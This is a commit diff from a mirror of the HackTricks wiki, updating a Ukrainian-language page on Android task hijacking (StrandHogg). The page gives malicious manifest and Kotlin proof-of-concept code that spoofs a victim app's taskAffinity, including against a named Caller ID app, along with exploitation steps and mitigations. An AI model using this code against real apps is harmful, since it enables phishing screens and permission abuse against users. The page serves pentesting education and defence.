mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
parent
8adafce7d5
commit
fd36012dc6
@ -4,50 +4,100 @@
|
|||||||
|
|
||||||
## Завдання, стек назад та активності на передньому плані
|
## Завдання, стек назад та активності на передньому плані
|
||||||
|
|
||||||
В Android, **завдання** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **стек назад**. Цей стек упорядковує активності на основі того, коли вони були відкриті, причому найновіша активність відображається вгорі як **активність на передньому плані**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **завдання на передньому плані**.
|
У Android, **завдання** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **стек назад**. Цей стек упорядковує активності на основі того, коли вони були відкриті, причому найновіша активність відображається вгорі як **активність на передньому плані**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **завдання на передньому плані**.
|
||||||
|
|
||||||
Ось швидкий огляд переходів між активностями:
|
Ось швидкий огляд переходів між активностями:
|
||||||
|
|
||||||
- **Активність 1** починається як єдина активність на передньому плані.
|
- **Активність 1** починається як єдина активність на передньому плані.
|
||||||
- Запуск **Активності 2** переміщує **Активність 1** у стек назад, виводячи **Активність 2** на передній план.
|
- Запуск **Активності 2** переміщує **Активність 1** у стек назад, виводячи **Активність 2** на передній план.
|
||||||
- Запуск **Активності 3** переміщує **Активність 1** та **Активність 2** далі назад у стеці, з **Активністю 3** тепер попереду.
|
- Запуск **Активності 3** переміщує **Активність 1** та **Активність 2** далі назад у стеку, з **Активністю 3** тепер попереду.
|
||||||
- Закриття **Активності 3** повертає **Активність 2** на передній план, демонструючи спрощений механізм навігації завданнями в Android.
|
- Закриття **Активності 3** повертає **Активність 2** на передній план, демонструючи спрощений механізм навігації завдань Android.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## Атака на афінність завдання
|
---
|
||||||
|
|
||||||
### Огляд афінності завдання та режимів запуску
|
## Атаки на афінність завдань
|
||||||
|
|
||||||
В Android-додатках, **афінність завдання** вказує на переважне завдання активності, зазвичай відповідне назві пакета програми. Ця настройка є важливою для створення демонстраційного додатка (PoC) для демонстрації атаки.
|
`taskAffinity` вказує Android, до якого завдання `Activity` *бажає* належати. Коли дві активності мають однакову афінність, **Android дозволяє об'єднувати їх у одному стеку назад, навіть якщо вони походять з різних APK**.
|
||||||
|
|
||||||
### Режими запуску
|
Якщо зловмисник може розмістити шкідливу активність на **корені** цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що бачить користувач – ідеально для фішингу або зловживання дозволами.
|
||||||
|
|
||||||
Атрибут `launchMode` визначає обробку екземплярів активностей у завданнях. Режим **singleTask** є ключовим для цієї атаки, визначаючи три сценарії на основі існуючих екземплярів активностей та відповідності афінності завдання. Експлуатація базується на здатності додатка зловмисника імітувати афінність завдання цільового додатка, вводячи в оману систему Android, щоб запустити додаток зловмисника замість цільового.
|
Поверхня атаки ширша, ніж багато розробників вважають, оскільки **кожна активність автоматично успадковує афінність, рівну назві пакета програми** (якщо розробник не встановить `android:taskAffinity=""`). Тому *нічого не роблячи* вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.
|
||||||
|
|
||||||
### Детальні кроки атаки
|
### Класичний сценарій "singleTask / StrandHogg"
|
||||||
|
|
||||||
1. **Встановлення шкідливого додатка**: Жертва встановлює додаток зловмисника на своєму пристрої.
|
1. Зловмисник оголошує активність з:
|
||||||
2. **Початкова активація**: Жертва спочатку відкриває шкідливий додаток, готуючи пристрій до атаки.
|
```xml
|
||||||
3. **Спроба запуску цільового додатка**: Жертва намагається відкрити цільовий додаток.
|
<activity android:name=".EvilActivity"
|
||||||
4. **Виконання захоплення**: У якийсь момент додаток намагається відкрити вигляд **singleTask**. Завдяки відповідності афінності завдання, шкідливий додаток запускається замість цільового додатка.
|
android:exported="true"
|
||||||
5. **Оману**: Шкідливий додаток показує фальшивий екран входу, що нагадує цільовий додаток, обманюючи користувача на введення чутливої інформації.
|
android:taskAffinity="com.victim.package"
|
||||||
|
android:launchMode="singleTask" >
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.LAUNCHER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
```
|
||||||
|
2. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афінністю) існувало в останніх завданнях.
|
||||||
|
3. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, афінність якого **відповідає пакету**, і просто виводить це завдання на передній план.
|
||||||
|
4. Інтерфейс зловмисника показується першим.
|
||||||
|
|
||||||
> [!TIP]
|
### Варіант за замовчуванням – Caller ID кейс
|
||||||
> Зверніть увагу, що для успішної атаки вразливий вигляд **не повинен мати експортований в true** і не повинен бути основною активністю.
|
|
||||||
|
|
||||||
Для практичної реалізації цієї атаки зверніться до репозиторію Task Hijacking Strandhogg на GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
Вразливість, виявлена в додатку **Caller ID (caller.id.phone.number.block)**, показує, що атака *також* працює проти стандартного режиму запуску `standard`:
|
||||||
|
|
||||||
### Заходи запобігання
|
1. Зловмисний додаток створює підроблену кореневу активність і відразу ж ховається:
|
||||||
|
```kotlin
|
||||||
|
class HackActivity : AppCompatActivity() {
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
moveTaskToBack(true) // зберегти завдання в останніх, але поза полем зору
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
2. У маніфесті потрібно лише скопіювати пакет жертви в `taskAffinity`:
|
||||||
|
```xml
|
||||||
|
<activity android:name=".HackActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:taskAffinity="com.caller.id.phone.number.block" >
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.LAUNCHER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
```
|
||||||
|
3. Як тільки користувач встановлює і відкриває шкідливий додаток **один раз**, завдання, афінність якого дорівнює пакету жертви, існує (але знаходиться на фоні).
|
||||||
|
4. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить `HackActivity` на передній план → вікно фішингу/зловживання дозволами.
|
||||||
|
|
||||||
Щоб запобігти таким атакам, розробники можуть:
|
> ПРИМІТКА: Починаючи з **Android 11 (API 30)**, система *не* поміщає два пакети, які не є частиною одного UID, в одне завдання за замовчуванням, що пом'якшує цю конкретну варіацію. Старі версії залишаються вразливими.
|
||||||
- Встановити **`**taskAffinity`** вигляду **singleTask** на порожній рядок (`android:taskAffinity=""`)
|
|
||||||
- Вибрати режим запуску **`singleInstance`**, забезпечуючи ізоляцію свого додатка від інших.
|
|
||||||
- Налаштувати функцію **`onBackPressed()`**, що пропонує додатковий захист від захоплення завдань.
|
|
||||||
|
|
||||||
## **Посилання**
|
---
|
||||||
|
|
||||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
## Перевірка та експлуатація
|
||||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
|
||||||
|
1. Витягніть `AndroidManifest.xml` з цільового APK і перевірте, що кожна `<activity>` (або глобальний елемент `<application>`) містить `android:taskAffinity=""` (порожній) **або** налаштоване значення.
|
||||||
|
2. Якщо ні, створіть шкідливий додаток:
|
||||||
|
- `android:taskAffinity` = назва пакета жертви.
|
||||||
|
- Надати намір `MAIN/LAUNCHER`, щоб користувач міг відкрити його один раз.
|
||||||
|
- За бажанням викликати `moveTaskToBack(true)`, щоб відразу сховати.
|
||||||
|
3. Дайте жертві відкрити їх легітимний додаток → захоплення.
|
||||||
|
|
||||||
|
## Пом'якшення
|
||||||
|
|
||||||
|
Розробники повинні:
|
||||||
|
|
||||||
|
* Явно встановити `android:taskAffinity=""` на рівні `<application>` (рекомендується) **або** надати кожній активності унікальну, приватну афінність.
|
||||||
|
* Для дуже чутливих екранів поєднувати вищезазначене з `android:launchMode="singleInstance"` або сучасними [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) захистами.
|
||||||
|
* Оновити `targetSdkVersion` додатка та впровадити зміни поведінки **Android 11**, де завдання за замовчуванням не діляться між пакетами.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||||
|
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||||
|
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||||
|
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user